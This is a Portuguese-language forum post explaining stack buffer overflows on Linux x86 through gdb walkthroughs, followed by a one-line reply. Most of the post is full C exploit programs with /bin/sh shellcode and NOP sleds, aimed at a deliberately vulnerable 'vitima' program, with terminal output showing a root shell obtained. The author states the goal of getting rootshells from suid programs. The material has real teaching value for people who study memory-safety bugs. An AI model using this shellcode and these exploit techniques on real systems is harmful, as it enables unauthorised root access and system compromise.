seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

Base sobre "Buffer Overflow"

2 participantes

Ir para baixo  Mensagem [Página 1 de 1]

1Base sobre  "Buffer Overflow" Empty Base sobre "Buffer Overflow" Sáb Dez 08, 2012 12:12 pm

0x06

0x06
postador
postador

Bom Guys Let'go
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
- INTRODUÇÃO

Como se sabe, actualmente uma das mais usadas formas de se ganhar
root é através de exploits que sobrecarregam dados na stack fazendo com
que o programa execute um certo comando, que pode ser "/bin/sh", que se por acaso tiver sido compilado com suid bit dará ao invasor uma rootshell. (exemplo é o famosíssimo e abusadissimo sendmail exploit), bindar uma shell, whatever...
Este texto não é nada de inédito (devem existir várias dezenas) mas eu
além de nunca ter visto nenhum em português decidi escrevê-lo pois já estava
farto de usar os exploits de outros, tentando assim fazer por mim mesmo um e
talvez ensinar como funcionam.

- CONHECIMENTOS REQUERIDOS

o Conhecimento de C (normal)
o Conhecimento de Assembly Language (algum)
o Saber trabalhar com o Gnu Debugger (o conhecido gdb)

- INICIO

O que é a "stack" ? A "stack" é uma "pilha" (tradução) de dados que é
constituído por elementos colocados pelos vários programas (parâmetros das
funções, variáveis,...) em que o último é o primeiro e vice-versa, estes são
colocados no topo pelo comando PUSH e removidos através do comando POP. Existe
um registo chamado Stack Pointer (SP) que aponta para o topo da stack já
que a sua base é num endereço fixo e existe outro chamado Frame Pointer (FP)
que aponta para uma certa localização, porque, embora os dados possam ser
referênciados através do SP com o a adição e a remoção dos ditos "Stack Frames"
(os tais elementos da stack) os seus endereços mudam.

o Explicação "Metafórica":

Imagina a stack como se fosse um dossier, os Stack Frames como se
fossem as folhas com os tais dados escritos, o Stack Pointer a 1ª folha, o
Frame Pointer como os separadores que marcam as páginas, PUSH o acto de
adicionar uma folha e o POP o de arrancar a primeira.
Se tentares imaginar isto e leres o texto em cima com esta ideia na
cabeça vais ver que tlvz seja mais simples.

Eu sei que estou a cometer um erro ao dizer metafórica e utilizando o
"como", eu sei que estou a comparar, mas farto de Português estou eu.

o Explicação Prática :

/* ex1.c - Estrutura da stack */

#include <stdio.h>

void funcao(int z, int e)
{
char buffer[10];
}

void main()
{
funcao(1, 2);
}

/* Fim */

Compilamos o programa :

[root@asknot /security]# cc -o ex1 ex1.c

E usamos o gdb para ver como ele funciona e vemos a função main() :

[root@asknot /security]# gdb ex1

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048448 <main>: pushl %ebp
0x8048449 <main+1>: movl %esp,%ebp
0x804844b <main+3>: pushl $0x2
0x804844d <main+5>: pushl $0x1
0x804844f <main+7>: call 0x8048440 <funcao>
0x8048454 <main+12>: addl $0x8,%esp
0x8048457 <main+15>: leave
0x8048458 <main+16>: ret
0x8048459 <main+17>: nop
0x804845a <main+18>: nop
0x804845b <main+19>: nop
End of assembler dump.
(gdb)

Vamos analizar esta parte, primeiro o programa mete na stack (com o
comando PUSHl) os parâmetros da funcao() ao contrário (1º o "2" e depois o "1")

0x804844b <main+3>: pushl $0x2 ; "2"
0x804844d <main+5>: pushl $0x1 ; "1"

E chama a função :

0x804844f <main+7>: call 0x8048440 <funcao>

Espreitamos agora a função funcao() :

0x804845a <main+18>: nop
0x804845b <main+19>: nop
End of assembler dump.
(gdb) disassemble funcao

e ...

Dump of assembler code for function funcao:
0x8048440 <funcao>: pushl %ebp
0x8048441 <funcao+1>: movl %esp,%ebp
0x8048443 <funcao+3>: subl $0xc,%esp
0x8048446 <funcao+6>: leave
0x8048447 <funcao+7>: ret
End of assembler dump.
(gdb)

Mete na stack o FP (na estrutura Intel o FP é o %ebp) :

0x8048440 <funcao>: pushl %ebp

Dá o valor actual do SP (%esp) ao FP :
para aqueles mais atentos e fãs de programação ANSI Assembly aqui o mov
é diferente, o valor vai do 1º membro para o 2º)

0x8048441 <funcao+1>: movl %esp,%ebp

Depois retira 12 bytes do SP para guardar espaço (Oxc [hex] é igual a
12 [ASCii] :

0x8048443 <funcao+3>: subl $0xc,%esp

Uma coisa que tens de saber (se ainda não o sabes) é que os endereços só
podem ser múltipos do tamanho de uma palavra (word) isto é 4 bytes. Como o
nosso buffer[] tem o tamanho de 10 bytes precisará de 12 bytes ou 3 palavras.

tamanho de buffer[] : **** **** ** (10 bytes)
memoria a reservar : **** **** **** (10 + 2 = 12 bytes)

Só pode ser adicionando pois se se retirassem 2 a variável era
alterada.
Finalmente retorna à função main() :

0x8048447 <funcao+7>: ret

Este é um dos principais objectivos do buffer overflow, o RET, esta é
uma parte do tamanho de uma palavra (4 bytes) que contém o endereço da
instrução directamente a seguir à chamada da função anterior (neste
caso funcao()).
Bom, para aqueles que ainda não perceberam, vou já explicar o
que é realmente um buffer overflow...

- O BUFFER OVERFLOW

O buffer overflow consiste em escrever por cima do buffer o código de
execução de uma shell (o tão famoso shellcode[]="... que aparece no
inicio dos exploits, talvêz escreva um texto sobre como ela é constituída
depois), mas como é executado este código se o buffer não passa de um "armazém
provisório" de dados ? Aí é que entra o RET (Return Address), basta
conseguirmos escrever por cima do buffer com uma variável tão grande que ao
mesmo tempo escreva por cima do RET com o endereço do inicio da nossa string
para que este em vez de ir para a instrução seguinte à função vá sim para o
nosso código de execução da shell.
Eu sei que isto talvez possa parecer um bocado complicado para aqueles
menos atentos e porisso vou (tentar) fazer uma explicação gráfica :

Buffer inviolado :

************************************* **** ****
(buffer[]) (FP) (RET)

A nossa string para fazer o overflow :

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0cCC

Buffer Sobrecarregado:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX 0cCC
(buffer[]) (FP) (RET)

Legenda :

- * - Byte com qualquer tipo de dados
- X - Shellcode
- 0cCC - Endereço que aponta para o inicio da nossa string

Axo que já deu para perceber, se não lê muitas vezes, mas muitas mesmo.
Mas será que isto resulta ? Uma das provas que temos é o famoso erro
"Segmentation Fault (core dumped)". Aqui está um exemplo disso

/* ex2.c - Segmentation Fault */

#include <stdio.h>

void copia(char *copiar)
{
char buffer[10];

strcpy(buffer, copiar);
}
void main()
{
char string_grande[150];
int i;

for(i=0; i < 149 ; i++)
string_grande[i] = 'Z';

copia(string_grande);
}

/* Fim */

Compilamos o programa, execulâmo-lo e *boom* Segmentation fault (core
dumped). E porquê ? Ora isso é óbvio, estamos a tentar copiar uma string de
150 bytes para uma com 10 bytes e isto vai fazer com que a string_grande[]
escreva por cima do buffer[], do FP, do RET e de mais 130 bytes desconhecidos
(tendo em conta que o RET e o FT têm 4 bytes cada). Uma explicação gráfica :

Buffer :

********** **** ****
(buffer[]) (FP) (RET)

(* = 1 byte)

strcpy(buffer, string_grande) :

ZZZZZZZZZZ ZZZZ ZZZZ (...)
(buffer[]) (FP) (RET)

Agora, para que o nosso overflow tenha sucesso basta fazer com que os
Z's que estão sobre o RET sejam um endereço que aponte para o inicio da
string. Vamos agora com um exemplo mostrar como escrever por cima do RET :

/* ex3.c - Escrever por cima do RET */

#include <stdio.h>

void copia(int Z)
{
char buffer[10];
int *R;

R = buffer + 16; /* O endereço de R = buffer[] + 16 ou seja do RET */
}
void main()
{
int i;

i = 0; /* i -> antes da função */
copia(1);
i = 1; /* i -> depois da função */

printf("O valor de i é : %d\n", i);
}

/* Fim */

Com este exemplo nós conseguimos dar a R o verdadeiro endereço do RET
Address que é o do buffer[] + 16 bytes (12 bytes [3 words] reservados para o
buffer[] e 4 bytes do FP)mas mesmo assim o programa logo após teterminada a
função copia() vai retornar para a instrução logo a seguir que é "i = 1;".
O que nós queremos é que ele retorne para onde nós quisermos, por
isso vamos agora tentar alterar o RET mudando o valor de R (já que este se
encontra no seu endereço) para que ele em vez de ir para "i = 1" passe logo
para o printf() ficando assim i = 0 mas para isso temos de ver quantos bytes
ocupa o endereço do i = 1. Abrimos o gdb e ...

[root@asknot /security]# gdb ex3
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048484 <main>: pushl %ebp
0x8048485 <main+1>: movl %esp,%ebp
0x8048487 <main+3>: subl $0x4,%esp
0x804848a <main+6>: movl $0x0,0xfffffffc(%ebp) ; i = 0
0x8048491 <main+13>: pushl $0x1 ; Parâmetro da funçao copia()
0x8048493 <main+15>: call 0x8048470 <copia> ; chama a função copia()
0x8048498 <main+20>: addl $0x4,%esp
0x804849b <main+23>: movl $0x1,0xfffffffc(%ebp) ; i = 1
0x80484a2 <main+30>: movl 0xfffffffc(%ebp),%eax ; %eax = 1
0x80484a5 <main+33>: pushl %eax ; Parâmetro do printf()
0x80484a6 <main+34>: pushl $0x804850c
0x80484ab <main+39>: call 0x80483bc <printf> ; printf()
0x80484b0 <main+44>: addl $0x8,%esp
0x80484b3 <main+47>: leave
0x80484b4 <main+48>: ret
0x80484b5 <main+49>: nop
0x80484b6 <main+50>: nop
0x80484b7 <main+51>: nop
End of assembler dump.
(gdb)

Ora para o "i = 1" ser ignorado é preciso fazer com que o RET vá em
vez de :

"0x8048498 <main+20>: addl $0x4,%esp"

logo para :

"0x80484a2 <main+30>: movl 0xfffffffc(%ebp),%eax"

que é para o i se manter igual a 0, e para isso basta adicionarmos ao RET a
diferença dos endereços das duas instrucções, que é de 10 bytes (0xa2 - 0x98 =
0xa = 10) [usa a "kalkulator" do KDE] . O resultado é este :

/* ex4.c - Escrever por cima do RET para que ele vá para onde queremos */

#include <stdio.h>

void copia(int Z)
{
char buffer[10];
int *R;

/* O endereço de R = buffer[] + 16 ou seja do RET */

R = buffer + 16;


/* Adiciona 10 bytes ao valor de R (conseq. ao RET Addr) */

(*R) += 10;
}

void main()
{
int i;

/* i -> Antes da função */
i = 0;

copia(1);

/* i -> Depois da função */
i = 1;

printf("O valor de i é : %d\n", i);
}

/* Fim */

Executamos o programa e ??!? i = 0 !? Como pode ser isto ? Pois é,
como viste é possível alterar o RET para que ele execute qualker tipo de
código que quizermos, mas agora o que nós queremos é uma shell, então vamos
usar em vez da string_grande[], a famosa shellcode :

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

(retirada de um exploit antigo para o traceroute por Wilton Wong
<wwong@blackstar.net>)

Mas o que faz isto ? E como executá-lo ? Isto trata-se do código asm
da execução de uma shell (/bin/sh) [isto muito resumido (muito mesmo)], a
maneira usada para a executar é a seguinte :

o enche-se a string_grande[] com o endereço do buffer
o coloca-se o shellcode[] no início de uma string

Assim quando a função main() quiser retornar ira encontrar o endereço
que nós lá colocá-mos e irá executar a nossa shell. Uma explicação gráfica :

Buffer inviolado :

********** **** ****
(buffer[]) (FP) (RET)

(* = 1 byte)

1º Passo (copiar o endereço do início do buffer) :

0xAA0xAA0xAA0xAA0xAA0xAA0xAA0xAA0xAA

2º Passo (colocar o shellcode no início | S = shellcode) :

SSSSSSSSSSSSSSSSSSSSSSSSSSSS0xAA0xAA

Se o programa que está a ser sobrecarregado estiver o
SUID bit (+s) teremos então uma rootshell (Hoou mY BellOveD '#').
Vamos agora ver aqui um exemplo de overfllow :

/* ex5.c - Simples Buffer Overflow */

#include <stdio.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char string_grande[200];

void main()
{
char buffer[90];
int i;

/* Endereço é o mesmo */
long *R = (long *) string_grande;


/* Enche-se até ao tamanho do buffer ( - 1, o '\0' );
o R com o endereço do buffer */

for(i = 0; i < 89; i++) *(R+i) = (int) buffer;

/* Enche a string com a nossa */

for(i = 0; i < strlen(shellcode) ; i++)

/* o nosso shellcode */
string_grande[i] = shellcode[i];


/* copia-se e +boom+ overflow */
strcpy(buffer, string_grande);
}

/* Fim */

[root@asknot /security]# ./ex5
bash#

Viste ? Se isto tiver sido compilado pelo r00t imagina a festa =P Bem,
mas isto não passa de um exemplo em que o buffer se sobrecarrega a si mesmo no
mesmo programa, o que nós queremos é fazer isso a outro programa, então
vamos criar um pequeno programa para que o possamos tentar sobrecarregar :

/* vitima.c - Vitima do Overflow */

void main(int argc, char *argv[])
{
char buffer[600];

if(argc > 1)
strcpy(buffer, argv[1]);
}

/* Fim */

[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Mas quando tentamos sobrecarregar o buffer de outro programa faltam-nos 2
dados importantíssimos :

o O tamanho do buffer a sobrecarregar
o O endereço do buffer

Pois para isso temos de tentar descobrir o tamanho do buffer e o seu
endereço por tentativas. Uma técnica utilizada em todos os exploits é a de se
usar o SP (Stack Pointer) do programa actual e tentar adicionar e remover
bytes, mas para isso é necessário uma função :

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

Se o valor actual não resultar basta irmos adicionando ou removendo
bytes ao valor obtido do SP até chegarmos ao nosso tão desejado endereço.
Agora vamos a um exemplo :


/* exploit1.c - Tentar Sobrecarregar o buffer da vitima.c */

#include <stdio.h>
#include <stdlib.h>

#define BUFFER 600 /* Altera este valor para o tamanho do buffer */
#define OFFSET 0 /* Altera este valor para um valor a usar no SP */

unsigned long apanha_sp(void)
{
__asm__("movl %esp, %eax");
}

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main()
{
int tamanho_buffer = BUFFER;
int ignorar_bytes = OFFSET;

/* a variavel i-ndispensável */
int i;

char *buff, *R;
long *endr_R, endr_B;

/* Reserva a memoria com o tamanho */
if (!(buff = malloc(tamanho_buffer))) {
printf("SHiT Happens : Impossível reservar memória !\n");
exit(0);
}

printf("A correr o exploit, use 'exit' para sair ...\n");
endr_B = apanha_sp() - ignorar_bytes; /* o endereço do buffer apartir do SP */
/* e dos bytes a adicionar */

R = buff; /* Endereço é o mesmo */
endr_R = (long *) R;

for(i = 0; i < tamanho_buffer; i+=4)
*(endr_R++) = endr_B; /* copia o endereço do (suposto) inicio do buffer */

R += 4;

for(i = 0; i < strlen(shellcode); i++)
*(R++)=shellcode[i]; /* enche com a shellcode */

buff[tamanho_buffer - 1] = '\0';

memcpy(buff,"XPT=",4); /* coloca a string de overflow numa variável */
putenv(buff);
system("/bin/bash"); /* dá-nos uma shell para que possamos usá-la e */
}

O que isto faz é guardar a string dentro de uma variável para que
depois possa ser usada como parâmetro. Vamos tentar com os valores actuais :

[root@asknot /security]# cc -o exploit1 exploit1.c
[root@asknot /security]# ./exploit1
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
[root@asknot /security]#

grrrr, mudamos o BUFFER = 682, e o OFFSET= 1154 ....

[root@asknot /security]# cc -o exploit1 exploit1.c
[root@asknot /security]# ./exploit1
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
Segmentation fault (core dumped)

apos várias horas de tentativas ....

[root@asknot /security]# cc -o exploit1 exploit1.c
[root@asknot /security]# ./exploit1
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
bash#
... [auhggr, my eyes....]

Pois, como vêm, isto é praticamente impossível por isso precisamos de
alguma coisa que nos aumente as hipóteses de o nosso código ser executado ...
mas como ? A solução é a instrução NOP (No OPeration) que simplesmente não faz
nada e passa à instrução seguinte. Mas usá-la para quê ? Se enchermos a nossa
string primeiro com uma "data" de NOP's e só depois o shellcode[] talvez
tenhamos mais hipóteses de ter sucesso pois existe uma maior probabilidade de
o RET Address ir dar aos NOP's e consequentemente ao código : "It's just a
matter of time my friend". Exemplo gráfico de overflow com o NOP :

Hipótese 1 (sem NOP's) :

***************************SSSSSSSSSSS **** ****
|(nosso buffer) (FP) (RET)
---------------(Retorna)-------------|

(Bad Luck !)

Hipótese 2 (com NOP's) :

NNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSS **** ****
|(nosso buffer) (FP) (RET)
---------------(Retorna)-------------|

(Ele chegou aos NOP's (N), agora vai continuando até chegar à nossa shell
(S))


Eis o nosso exemplo agora alterado com o preenchimento com NOP's :

/* exploit2.c - Tentar Sobrecarregar o buffer da vitima.c mas com uns nopz*/

#include <stdio.h>
#include <stdlib.h>

#define BUFFER 1200 /* Altera este valor para o tamanho do buffer */
#define OFFSET 0 /* Altera este valor para um valor a usar no SP */
#define NOP 0x90 /* Código hex para o NOP */

unsigned long apanha_sp(void)
{
__asm__("movl %esp, %eax");
}

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main()
{
int tamanho_buffer = BUFFER;
int ignorar_bytes = OFFSET;
int i; /* a i-ndispensável */
char *buff, *R;
long *endr_R, endr_B;

if (!(buff = malloc(tamanho_buffer))) { /* Reserva a memoria com o tamanho */
printf("SHiT Happens : Impossível reservar memória !\n");
exit(0);
}

printf("A correr o exploit, use 'exit' para sair ...\n");
endr_B = apanha_sp() - ignorar_bytes; /* o endereço do buffer apartir do SP */
/* e dos bytes a adicionar */

R = buff; /* Endereço é o mesmo */
endr_R = (long *) R;

for(i = 0; i < tamanho_buffer; i+=4)
*(endr_R++) = endr_B; /* copia o endereço do (suposto) inicio do buffer */

R += 4;
for (i = 0; i < tamanho_buffer/2; i++) /* Metade do nosso buffer */
buff[i] = NOP; /* Cheinhu de NOPs */

R = buff + ((tamanho_buffer/2) - (strlen(shellcode)/2)); /* Mete o pointer depois dos NOPs */

for(i = 0; i < strlen(shellcode); i++)
*(R++)=shellcode[i]; /* enche com a shellcode */

buff[tamanho_buffer - 1] = '\0';

memcpy(buff,"XPT=",4); /* coloca a string de overflow numa variável */
putenv(buff);
system("/bin/bash"); /* dá-nos uma shell para que possamos usá-la */
}

/* EOF */

O ke isto fáz basicamente á encher metade do BUFFER com NOPs e depois
por no fim o shellcode o que nos vai aumentar muito as hipóteses. Ora vejamos :

Com a variável BUFFER com o valor 600 (#define BUFFER 600) ...

[root@asknot /security]# cc -o exploit2 exploit2.c
[root@asknot /security]# ./exploit2
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
[root@asknot /security]#

FUck, nothing happens ... Aumentamos o tamanho do BUFFER para 1200 ...

[root@asknot /security]# cc -o exploit2 exploit2.c
[root@asknot /security]# ./exploit2
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
Segmentation fault (core dumped)

Too big ... Vamos agora tentar mudar o OFFSET. BUFFER = 780 e OFFSET = 12 ...

[root@asknot /security]# cc -o exploit2 exploit2.c
[root@asknot /security]# ./exploit2
A correr o exploit, use 'exit' para sair ...
[root@asknot /security]# ./vitima $XPT
bash#

Yeah !! whoami ... root =) Como se pode ver isto aumentou as nossas hipóteses
o bastante para em vez de se usar 35 tentativas, apenas em 3 ter aparecido a solução =)

Bem, o nosso objectivo foi conseguido pois através disto deu para provar ke
se podem executar comandos arbitrários através da sobre-escrita de dados na Stack
quando os programas 'vítima' a usam para 'gravar' dados (através das funções p.e. :
strcpy(), strcat(), etc...) o que pode levar a certos utilizadores mais maliciosos
(os self-called ákarus) a conseguirem rootshells através do overflow de programas
compilados com suid bit (modo +s ....).

Embora eu ache este texto bem simples, com código simplificado ao máximo cujas funções e
comentários que falam por si, no caso de existir alguma dúvida ou algum Bug
nas sources (embora eu tenha testado todas) basta enviar um mail para mim : :

2Base sobre  "Buffer Overflow" Empty Re: Base sobre "Buffer Overflow" Sáb Dez 08, 2012 12:36 pm

Sir.Rafiki

Sir.Rafiki
avançado
avançado

*O* de mais mano levou meu mais como sempre ;D

Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos